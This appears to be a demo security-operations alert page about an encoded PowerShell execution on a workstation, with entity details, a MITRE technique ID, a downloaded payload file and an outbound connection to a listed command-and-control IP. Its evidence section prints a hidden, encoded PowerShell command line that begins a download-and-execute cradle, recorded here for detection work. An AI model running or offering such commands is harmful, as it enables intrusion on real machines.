Security Operations
Alert Investigation
🔎
❓

Suspicious PowerShell command line (encoded command)

High New SuspiciousCommandLine
🚨 Open Incident INC-01001
Alert details
Alert IDda637912300001
Created2026-08-18 20:07 UTC
Detection source-
Threat family-
SourceDemo
Entities
Device corp-wks-1187 High riskHigh exposure
Userj.doe@propera.local
Related incidentINC-01001
MITRE ATT&CK
T1059.001
Evidence
Process
Encoded PowerShell execution
powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File
Downloaded payload
C:\Users\j.doe\Downloads\payload.bin
SHA1 - · SHA256 9f86d081884c7d659a2feaa0
Network
Connection to known C2
IP 185.220.101.34 · Outbound